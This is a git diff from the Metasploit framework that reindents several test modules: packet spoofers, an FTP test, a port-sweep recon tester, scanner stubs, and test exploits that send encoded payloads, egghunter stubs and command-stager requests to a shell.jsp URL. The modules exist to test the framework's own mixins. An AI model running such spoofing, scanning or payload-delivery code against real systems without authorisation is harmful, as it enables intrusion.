Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient - def initialize(info = {}) - super(update_info(info, - 'Name' => "Check Test", - 'Description' => %q{ - This module ensures that 'check' actually functions for Auxiilary modules. - }, - 'References' => - [ - [ 'OSVDB', '0' ] - ], - 'Author' => - [ - 'todb' - ], - 'License' => MSF_LICENSE - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => "Check Test", + 'Description' => %q{ + This module ensures that 'check' actually functions for Auxiilary modules. + }, + 'References' => + [ + [ 'OSVDB', '0' ] + ], + 'Author' => + [ + 'todb' + ], + 'License' => MSF_LICENSE + )) - register_options( - [ - Opt::RPORT(80) - ], self.class) - end + register_options( + [ + Opt::RPORT(80) + ], self.class) + end - def check - print_debug "Check is successful" - return Msf::Exploit::CheckCode::Vulnerable - end + def check + print_debug "Check is successful" + return Msf::Exploit::CheckCode::Vulnerable + end - def run - print_debug "Run is successful." - end + def run + print_debug "Run is successful." + end end diff --git a/test/modules/auxiliary/test/eth_spoof.rb b/test/modules/auxiliary/test/eth_spoof.rb index 07041d28c1..640718fda3 100644 --- a/test/modules/auxiliary/test/eth_spoof.rb +++ b/test/modules/auxiliary/test/eth_spoof.rb @@ -15,43 +15,43 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Capture + include Msf::Auxiliary::Report + include Msf::Exploit::Capture - def initialize - super( - 'Name' => 'Simple Ethernet Frame Spoofer', - 'Version' => '$Revision$', - 'Description' => 'This module sends spoofed ethernet frames', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Spoofer' ] - ], - 'DefaultAction' => 'Spoofer' - ) - end + def initialize + super( + 'Name' => 'Simple Ethernet Frame Spoofer', + 'Version' => '$Revision$', + 'Description' => 'This module sends spoofed ethernet frames', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Spoofer' ] + ], + 'DefaultAction' => 'Spoofer' + ) + end - def run - print_status("Opening the network interface...") - open_pcap() + def run + print_status("Opening the network interface...") + open_pcap() - p = PacketFu::UDPPacket.new - p.eth_saddr = "00:41:41:41:41:41" - p.eth_daddr = "00:42:42:42:42:42" - p.ip_saddr = "41.41.41.41" - p.ip_daddr = "42.42.42.42" - p.udp_sport = 0x41 - p.udp_dport = 0x42 - p.payload = "SPOOOOOFED" - p.recalc - 1.upto(10) do - capture.inject(p.to_s) - end + p = PacketFu::UDPPacket.new + p.eth_saddr = "00:41:41:41:41:41" + p.eth_daddr = "00:42:42:42:42:42" + p.ip_saddr = "41.41.41.41" + p.ip_daddr = "42.42.42.42" + p.udp_sport = 0x41 + p.udp_dport = 0x42 + p.payload = "SPOOOOOFED" + p.recalc + 1.upto(10) do + capture.inject(p.to_s) + end - close_pcap() - print_status("Finished sending") - end + close_pcap() + print_status("Finished sending") + end end diff --git a/test/modules/auxiliary/test/ftp_data.rb b/test/modules/auxiliary/test/ftp_data.rb index a2da652237..415e41b94a 100644 --- a/test/modules/auxiliary/test/ftp_data.rb +++ b/test/modules/auxiliary/test/ftp_data.rb @@ -13,82 +13,82 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Ftp + include Msf::Exploit::Remote::Ftp - def initialize - super( - 'Name' => 'FTP Client Exploit Mixin DATA test Exploit', - 'Version' => '$Revision$', - 'Description' => 'This module tests the "DATA" functionality of the ftp client exploit mixin.', - 'Author' => [ 'Thomas Ring', 'jduck' ], - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'FTP Client Exploit Mixin DATA test Exploit', + 'Version' => '$Revision$', + 'Description' => 'This module tests the "DATA" functionality of the ftp client exploit mixin.', + 'Author' => [ 'Thomas Ring', 'jduck' ], + 'License' => MSF_LICENSE + ) - register_options( - [ - OptString.new('UPLOADDIR', [ true, "The directory to use for the upload test", '/incoming' ]) - ] - ) - end + register_options( + [ + OptString.new('UPLOADDIR', [ true, "The directory to use for the upload test", '/incoming' ]) + ] + ) + end - def run + def run - begin - if (not connect_login) - return - end + begin + if (not connect_login) + return + end - curdir = "" + curdir = "" - # change to the upload directory - result = send_cmd( ["CWD", datastore['UPLOADDIR']], true ) - print_status("CWD response: #{result.inspect}") + # change to the upload directory + result = send_cmd( ["CWD", datastore['UPLOADDIR']], true ) + print_status("CWD response: #{result.inspect}") - # find out what the server thinks this dir is - result = send_cmd( ["PWD"], true ) - print_status("PWD response: #{result.inspect}") - if (result =~ /257\s\"(.+)\"/) - curdir = $1 - end - curdir = "/" + curdir if curdir[0] != "/" - curdir << "/" if curdir[-1,1] != "/" + # find out what the server thinks this dir is + result = send_cmd( ["PWD"], true ) + print_status("PWD response: #{result.inspect}") + if (result =~ /257\s\"(.+)\"/) + curdir = $1 + end + curdir = "/" + curdir if curdir[0] != "/" + curdir << "/" if curdir[-1,1] != "/" - # generate some data to upload - data = Rex::Text.rand_text_alphanumeric(1024) - #print_status("data:\n" + Rex::Text.to_hex_dump(data)) + # generate some data to upload + data = Rex::Text.rand_text_alphanumeric(1024) + #print_status("data:\n" + Rex::Text.to_hex_dump(data)) - # test putting data - result = send_cmd_data(["PUT", curdir+"test"], data, "I") - print_status("PUT response: #{result.inspect}") + # test putting data + result = send_cmd_data(["PUT", curdir+"test"], data, "I") + print_status("PUT response: #{result.inspect}") - # test fallthrough - result = send_cmd_data(["HELP"], true) - print_status("HELP response: #{result.inspect}") + # test fallthrough + result = send_cmd_data(["HELP"], true) + print_status("HELP response: #{result.inspect}") - # test listing directory - result = send_cmd_data(["LS", curdir], "A") - print_status("LS response: #{result.inspect}") + # test listing directory + result = send_cmd_data(["LS", curdir], "A") + print_status("LS response: #{result.inspect}") - # test getting file - result = send_cmd_data(["GET", curdir+"test"], "A") - print_status("GET response: #{result[0].inspect}") + # test getting file + result = send_cmd_data(["GET", curdir+"test"], "A") + print_status("GET response: #{result[0].inspect}") - # see if it matches - if (result[1] != data) - print_error("Data doesn't match!") - else - print_good("Data downloaded matches what we uploaded!") - end + # see if it matches + if (result[1] != data) + print_error("Data doesn't match!") + else + print_good("Data downloaded matches what we uploaded!") + end - # adios - result = send_cmd( ["QUIT"], true ) - print_status("QUIT response: #{result.inspect}") + # adios + result = send_cmd( ["QUIT"], true ) + print_status("QUIT response: #{result.inspect}") - ensure - disconnect - end + ensure + disconnect + end - end + end end diff --git a/test/modules/auxiliary/test/ip_spoof.rb b/test/modules/auxiliary/test/ip_spoof.rb index b722a645ff..9cd164b8ee 100644 --- a/test/modules/auxiliary/test/ip_spoof.rb +++ b/test/modules/auxiliary/test/ip_spoof.rb @@ -14,56 +14,56 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Capture - include Msf::Auxiliary::Scanner + include Msf::Exploit::Capture + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'Simple IP Spoofing Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple IP Spoofing Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'Simple IP Spoofing Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple IP Spoofing Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) - begin - require 'pcaprub' - @@havepcap = true - rescue ::LoadError - @@havepcap = false - end + begin + require 'pcaprub' + @@havepcap = true + rescue ::LoadError + @@havepcap = false + end - deregister_options('FILTER','PCAPFILE') + deregister_options('FILTER','PCAPFILE') - end + end - def run_host(ip) - open_pcap - p = PacketFu::UDPPacket.new - p.ip_saddr = ip - p.ip_daddr = ip - p.ip_ttl = 255 - p.udp_sport = 53 - p.udp_dport = 53 - p.payload = "HELLO WORLD" - p.recalc - ret = send(ip,p) - if ret == :done - print_good("#{ip}: Sent a packet to #{ip} from #{ip}") - else - print_error("#{ip}: Packet not sent. Check permissions & interface.") - end - close_pcap - end + def run_host(ip) + open_pcap + p = PacketFu::UDPPacket.new + p.ip_saddr = ip + p.ip_daddr = ip + p.ip_ttl = 255 + p.udp_sport = 53 + p.udp_dport = 53 + p.payload = "HELLO WORLD" + p.recalc + ret = send(ip,p) + if ret == :done + print_good("#{ip}: Sent a packet to #{ip} from #{ip}") + else + print_error("#{ip}: Packet not sent. Check permissions & interface.") + end + close_pcap + end - def send(ip,pkt) - begin - capture_sendto(pkt, ip) - rescue RuntimeError => e - return :error - end - return :done - end + def send(ip,pkt) + begin + capture_sendto(pkt, ip) + rescue RuntimeError => e + return :error + end + return :done + end end diff --git a/test/modules/auxiliary/test/recon_passive.rb b/test/modules/auxiliary/test/recon_passive.rb index f1120e2298..45f24575e4 100644 --- a/test/modules/auxiliary/test/recon_passive.rb +++ b/test/modules/auxiliary/test/recon_passive.rb @@ -15,66 +15,66 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Tcp - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - ['Continuous Port Sweep'] - ], - 'PassiveActions' => - [ - 'Continuous Port Sweep' - ] - ) + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['Continuous Port Sweep'] + ], + 'PassiveActions' => + [ + 'Continuous Port Sweep' + ] + ) - register_options( - [ - Opt::RHOST, - Opt::RPORT, - ], self.class) + register_options( + [ + Opt::RHOST, + Opt::RPORT, + ], self.class) - end + end - def run - print_status("Running the simple recon module with action #{action.name}") + def run + print_status("Running the simple recon module with action #{action.name}") - case action.name - when 'Continuous Port Sweep' - while (true) - 1.upto(65535) do |port| - datastore['RPORT'] = port - prober() - end - end - end - end + case action.name + when 'Continuous Port Sweep' + while (true) + 1.upto(65535) do |port| + datastore['RPORT'] = port + prober() + end + end + end + end - def prober - begin - connect - disconnect - report_host(:host => datastore['RHOST']) - report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :proto => 'tcp' - ) - rescue ::Exception => e - case e.to_s - when /connection was refused/ - report_host(:host => datastore['RHOST']) - else - print_status(e.to_s) - end - end - end + def prober + begin + connect + disconnect + report_host(:host => datastore['RHOST']) + report_service( + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :proto => 'tcp' + ) + rescue ::Exception => e + case e.to_s + when /connection was refused/ + report_host(:host => datastore['RHOST']) + else + print_status(e.to_s) + end + end + end end diff --git a/test/modules/auxiliary/test/scanner_batch.rb b/test/modules/auxiliary/test/scanner_batch.rb index 47b9948321..f11d518158 100644 --- a/test/modules/auxiliary/test/scanner_batch.rb +++ b/test/modules/auxiliary/test/scanner_batch.rb @@ -15,30 +15,30 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) - register_options( - [ - Opt::RPORT, - ], self.class) + register_options( + [ + Opt::RPORT, + ], self.class) - end + end - def run_batch_size - 3 - end + def run_batch_size + 3 + end - def run_batch(batch) - print_status("Working on batch #{batch.join(",")}") - end + def run_batch(batch) + print_status("Working on batch #{batch.join(",")}") + end end diff --git a/test/modules/auxiliary/test/scanner_host.rb b/test/modules/auxiliary/test/scanner_host.rb index 8417ce4e1c..828e331162 100644 --- a/test/modules/auxiliary/test/scanner_host.rb +++ b/test/modules/auxiliary/test/scanner_host.rb @@ -15,26 +15,26 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) - register_options( - [ - Opt::RPORT, - ], self.class) + register_options( + [ + Opt::RPORT, + ], self.class) - end + end - def run_host(ip) - print_status("Working on host #{ip}") - end + def run_host(ip) + print_status("Working on host #{ip}") + end end diff --git a/test/modules/auxiliary/test/scanner_range.rb b/test/modules/auxiliary/test/scanner_range.rb index 807fb690f7..59d5acfbf9 100644 --- a/test/modules/auxiliary/test/scanner_range.rb +++ b/test/modules/auxiliary/test/scanner_range.rb @@ -15,29 +15,29 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Scanner - def initialize - super( - 'Name' => 'Simple Recon Module Tester', - 'Version' => '$Revision$', - 'Description' => 'Simple Recon Module Tester', - 'Author' => 'hdm', - 'License' => MSF_LICENSE - ) + def initialize + super( + 'Name' => 'Simple Recon Module Tester', + 'Version' => '$Revision$', + 'Description' => 'Simple Recon Module Tester', + 'Author' => 'hdm', + 'License' => MSF_LICENSE + ) - register_options( - [ - Opt::RPORT, - ], self.class) + register_options( + [ + Opt::RPORT, + ], self.class) - end + end - def run_range(range) - print_status("Working on range #{range}") - rw = Rex::Socket::RangeWalker.new(range) - print_status("RangeWalker: #{rw.inspect}") - end + def run_range(range) + print_status("Working on range #{range}") + rw = Rex::Socket::RangeWalker.new(range) + print_status("RangeWalker: #{rw.inspect}") + end end diff --git a/test/modules/auxiliary/test/space-check.rb b/test/modules/auxiliary/test/space-check.rb index 4213efd9c5..a8a632d686 100644 --- a/test/modules/auxiliary/test/space-check.rb +++ b/test/modules/auxiliary/test/space-check.rb @@ -9,14 +9,14 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => "Check Test", - 'Description' => %q{ - This module ensures that 'check' actually functions for Auxiilary modules. + super(update_info(info, + 'Name' => "Check Test", + 'Description' => %q{ + This module ensures that 'check' actually functions for Auxiilary modules. }, 'References' => [ diff --git a/test/modules/exploits/test/aggressive.rb b/test/modules/exploits/test/aggressive.rb index f53cb3e957..28087e438e 100644 --- a/test/modules/exploits/test/aggressive.rb +++ b/test/modules/exploits/test/aggressive.rb @@ -12,106 +12,106 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Tcp - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Internal Aggressive Test Exploit', - 'Description' => - "This module tests the exploitation of a test service.", - 'Author' => 'skape', - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Arch' => 'x86', - 'Payload' => - { - 'Space' => 1000, - 'MaxNops' => 0, - 'BadChars' => "\x00", - 'StackAdjustment' => -3500, - }, - 'Targets' => - [ - # Target 0: Universal - [ - 'Any Platform', - { - 'Platform' => [ 'linux', 'win' ] - } - ], - [ - 'Test encoder specific', - { - 'Platform' => [ 'linux', 'win' ], - 'Payload' => - { - 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, - 'EncoderOptions' => - { - 'BufferRegister' => 'EBX', - 'BufferOffset' => 4 - } - } - }, - ], - [ - 'Cannot be encoded', - { - 'Platform' => [ 'linux', 'win' ], - 'Payload' => - { - 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s - } - } - ], - [ 'Test context encoder', - { - 'Platform' => [ 'linux', 'win' ], - 'Payload' => - { - 'BadChars' => "\x00" - } - } - ] - ], - 'DefaultTarget' => 0)) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internal Aggressive Test Exploit', + 'Description' => + "This module tests the exploitation of a test service.", + 'Author' => 'skape', + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Arch' => 'x86', + 'Payload' => + { + 'Space' => 1000, + 'MaxNops' => 0, + 'BadChars' => "\x00", + 'StackAdjustment' => -3500, + }, + 'Targets' => + [ + # Target 0: Universal + [ + 'Any Platform', + { + 'Platform' => [ 'linux', 'win' ] + } + ], + [ + 'Test encoder specific', + { + 'Platform' => [ 'linux', 'win' ], + 'Payload' => + { + 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, + 'EncoderOptions' => + { + 'BufferRegister' => 'EBX', + 'BufferOffset' => 4 + } + } + }, + ], + [ + 'Cannot be encoded', + { + 'Platform' => [ 'linux', 'win' ], + 'Payload' => + { + 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s + } + } + ], + [ 'Test context encoder', + { + 'Platform' => [ 'linux', 'win' ], + 'Payload' => + { + 'BadChars' => "\x00" + } + } + ] + ], + 'DefaultTarget' => 0)) - register_options( - [ - OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), - OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) - ]) - end + register_options( + [ + OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), + OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) + ]) + end - def autofilter - false - end + def autofilter + false + end - def check - return Exploit::CheckCode::Vulnerable - end + def check + return Exploit::CheckCode::Vulnerable + end - def exploit - # Show disassembled payload for context encoder test - if target.name =~ /context encoder/ - puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) - end + def exploit + # Show disassembled payload for context encoder test + if target.name =~ /context encoder/ + puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) + end - connect + connect - print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") + print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") - sock.put(payload.encoded) + sock.put(payload.encoded) - if (datastore['WaitForInput']) - puts "Type something..." - gets - end + if (datastore['WaitForInput']) + puts "Type something..." + gets + end - handler - end + handler + end end diff --git a/test/modules/exploits/test/check.rb b/test/modules/exploits/test/check.rb index a7aef9118b..52d0e0c10f 100644 --- a/test/modules/exploits/test/check.rb +++ b/test/modules/exploits/test/check.rb @@ -9,37 +9,37 @@ require 'msf/core' class Metasploit3 < Msf::Exploit - def initialize(info = {}) - super(update_info(info, - 'Name' => "Check Test Exploit", - 'Description' => %q{ - This module ensures that 'check' actually functions for Exploit modules. - }, - 'References' => - [ - [ 'OSVDB', '0' ] - ], - 'Author' => - [ - 'todb' - ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => 'May 23 2013' - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => "Check Test Exploit", + 'Description' => %q{ + This module ensures that 'check' actually functions for Exploit modules. + }, + 'References' => + [ + [ 'OSVDB', '0' ] + ], + 'Author' => + [ + 'todb' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'May 23 2013' + )) - register_options( - [ - Opt::RPORT(80) - ], self.class) - end + register_options( + [ + Opt::RPORT(80) + ], self.class) + end - def check - print_debug "Check is successful" - return Msf::Exploit::CheckCode::Vulnerable - end + def check + print_debug "Check is successful" + return Msf::Exploit::CheckCode::Vulnerable + end - def exploit - print_debug "Exploit is successful." - end + def exploit + print_debug "Exploit is successful." + end end diff --git a/test/modules/exploits/test/cmdweb.rb b/test/modules/exploits/test/cmdweb.rb index 872c5d77f8..016d25834b 100644 --- a/test/modules/exploits/test/cmdweb.rb +++ b/test/modules/exploits/test/cmdweb.rb @@ -12,75 +12,75 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking - # =( need more targets and perhaps more OS specific return values OS specific would be preferred + Rank = ManualRanking + # =( need more targets and perhaps more OS specific return values OS specific would be preferred - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Command Stager Web Test', - 'Description' => %q{ - This module tests the command stager mixin against a shell.jsp application installed - on an Apache Tomcat server. - }, - 'Author' => 'bannedit', - 'Version' => '$Revision$', - 'References' => - [ - ], - 'DefaultOptions' => - { - }, - 'Payload' => - { - }, - 'Platform' => 'win', - 'Privileged' => true, - 'Targets' => - [ - # need more but this will likely cover most cases - [ 'Automatic Targeting', - { - 'auto' => true - } - ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Feb 03 2010')) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Command Stager Web Test', + 'Description' => %q{ + This module tests the command stager mixin against a shell.jsp application installed + on an Apache Tomcat server. + }, + 'Author' => 'bannedit', + 'Version' => '$Revision$', + 'References' => + [ + ], + 'DefaultOptions' => + { + }, + 'Payload' => + { + }, + 'Platform' => 'win', + 'Privileged' => true, + 'Targets' => + [ + # need more but this will likely cover most cases + [ 'Automatic Targeting', + { + 'auto' => true + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 03 2010')) - register_options( - [ - Opt::RPORT(8080), - ], self.class) - end + register_options( + [ + Opt::RPORT(8080), + ], self.class) + end - def autofilter - false - end + def autofilter + false + end - # This is method required for the CmdStager to work... - def execute_command(cmd, opts) - uri = opts[:uri] - http_hash = { - 'uri' => uri.gsub(/CMDS/, Rex::Text.uri_encode(cmd)) - } - resp = send_request_raw(http_hash, 5) - end + # This is method required for the CmdStager to work... + def execute_command(cmd, opts) + uri = opts[:uri] + http_hash = { + 'uri' => uri.gsub(/CMDS/, Rex::Text.uri_encode(cmd)) + } + resp = send_request_raw(http_hash, 5) + end - def exploit + def exploit - opts = { - :delay => 0.5, - :uri => "/shell/shell.jsp?cmd=CMDS" - } + opts = { + :delay => 0.5, + :uri => "/shell/shell.jsp?cmd=CMDS" + } - execute_cmdstager(opts) + execute_cmdstager(opts) - handler + handler - end + end end diff --git a/test/modules/exploits/test/dialup.rb b/test/modules/exploits/test/dialup.rb index bb3be6a8c7..a4f9b6cb60 100644 --- a/test/modules/exploits/test/dialup.rb +++ b/test/modules/exploits/test/dialup.rb @@ -12,46 +12,46 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Dialup + include Msf::Exploit::Remote::Dialup - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Test Dialup Exploit', - 'Description' => %q{ - This exploit connects to a system's modem over dialup and provides - the user with a readout of the login banner. - }, - 'Version' => '$Revision$', - 'Author' => - [ - 'I)ruid', - ], - 'Arch' => ARCH_TTY, - 'Platform' => ['unix'], - 'License' => MSF_LICENSE, - 'Payload' => - { - 'Space' => 1000, - 'BadChars' => '', - 'DisableNops' => true, - }, - 'Targets' => - [ - [ 'Automatic', { } ], - ], - 'DefaultTarget' => 0)) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Test Dialup Exploit', + 'Description' => %q{ + This exploit connects to a system's modem over dialup and provides + the user with a readout of the login banner. + }, + 'Version' => '$Revision$', + 'Author' => + [ + 'I)ruid', + ], + 'Arch' => ARCH_TTY, + 'Platform' => ['unix'], + 'License' => MSF_LICENSE, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => '', + 'DisableNops' => true, + }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0)) + end - def autofilter - false - end + def autofilter + false + end - def exploit - connect_dialup - handler - disconnect_dialup - end + def exploit + connect_dialup + handler + disconnect_dialup + end end diff --git a/test/modules/exploits/test/egghunter.rb b/test/modules/exploits/test/egghunter.rb index d79217b694..8da86b65ad 100644 --- a/test/modules/exploits/test/egghunter.rb +++ b/test/modules/exploits/test/egghunter.rb @@ -12,87 +12,87 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Tcp - include Msf::Exploit::Egghunter + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Egghunter - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Internal Egghunter Test Exploit', - 'Description' => - "This module tests the exploitation of a test service using the Egghunter.", - 'Author' => 'jduck', - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Arch' => ARCH_X86, - 'Payload' => - { - 'Space' => 1000, - 'MaxNops' => 0, - 'BadChars' => "\x00", - 'StackAdjustment' => -3500, - }, - 'Targets' => - [ - [ 'Windows', - { - 'Platform' => 'win' - } - ], + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internal Egghunter Test Exploit', + 'Description' => + "This module tests the exploitation of a test service using the Egghunter.", + 'Author' => 'jduck', + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 1000, + 'MaxNops' => 0, + 'BadChars' => "\x00", + 'StackAdjustment' => -3500, + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ], - [ 'Linux', - { - 'Platform' => 'linux' - } - ] - ], - 'DefaultTarget' => 0)) + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0)) - register_options( - [ - OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]) - ]) - end + register_options( + [ + OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]) + ]) + end - def autofilter - false - end + def autofilter + false + end - def check - return Exploit::CheckCode::Vulnerable - end + def check + return Exploit::CheckCode::Vulnerable + end - def exploit + def exploit - connect + connect - print_status("Sending #{payload.encoded.length} byte payload...") + print_status("Sending #{payload.encoded.length} byte payload...") - eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { - :checksum => true - }) - print_status("Egghunter: hunter stub #{eh_stub.length} bytes, egg #{eh_egg.length} bytes") + eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { + :checksum => true + }) + print_status("Egghunter: hunter stub #{eh_stub.length} bytes, egg #{eh_egg.length} bytes") - sploit = '' + sploit = '' - # break before? - #sploit << "\xcc" - sploit << eh_stub - # just return otherwise - sploit << "\xc3" - # hopefully we find this! - sploit << eh_egg + # break before? + #sploit << "\xcc" + sploit << eh_stub + # just return otherwise + sploit << "\xc3" + # hopefully we find this! + sploit << eh_egg - sock.put(sploit) + sock.put(sploit) - if (datastore['WaitForInput']) - puts "Type something..." - gets - end + if (datastore['WaitForInput']) + puts "Type something..." + gets + end - handler - end + handler + end end diff --git a/test/modules/exploits/test/exploitme.rb b/test/modules/exploits/test/exploitme.rb index 52038857d8..a2b7b4411a 100644 --- a/test/modules/exploits/test/exploitme.rb +++ b/test/modules/exploits/test/exploitme.rb @@ -12,123 +12,123 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Tcp - def initialize(info = {}) - super(update_info(info, - 'Name' => 'MIPS Aggressive Test Exploit', - 'Description' => 'This module tests the exploitation of a test service', - 'Author' => ['skape', 'Julien Tinnes <julien[at]cr0.org>'], - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - #'Arch' => ARCH_MIPSBE, - 'Payload' => - { - 'MaxNops' => 0, - #'BadChars' => "\x00", - #'StackAdjustment' => -3500, - }, - 'Targets' => - [ - # Target 0: Universal - [ - 'Mips big endian', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSBE - } - ], - [ - 'Mips big endian cannot be encoded', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSBE, - 'Payload' => - { - 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s - } - } - ], [ - 'Mips big endian encoder needed', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSBE, - 'Payload' => - { - 'BadChars' => "\x00" - } - } - ], - [ - 'Mips little endian', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSLE - } - ], - [ - 'Mips little endian cannot be encoded', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSLE, - 'Payload' => - { - 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s - } - } - ], [ - 'Mips little endian encoder needed', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSLE, - 'Payload' => - { - 'BadChars' => "\x00" - } - } - ], + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MIPS Aggressive Test Exploit', + 'Description' => 'This module tests the exploitation of a test service', + 'Author' => ['skape', 'Julien Tinnes <julien[at]cr0.org>'], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + #'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'MaxNops' => 0, + #'BadChars' => "\x00", + #'StackAdjustment' => -3500, + }, + 'Targets' => + [ + # Target 0: Universal + [ + 'Mips big endian', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSBE + } + ], + [ + 'Mips big endian cannot be encoded', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s + } + } + ], [ + 'Mips big endian encoder needed', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'BadChars' => "\x00" + } + } + ], + [ + 'Mips little 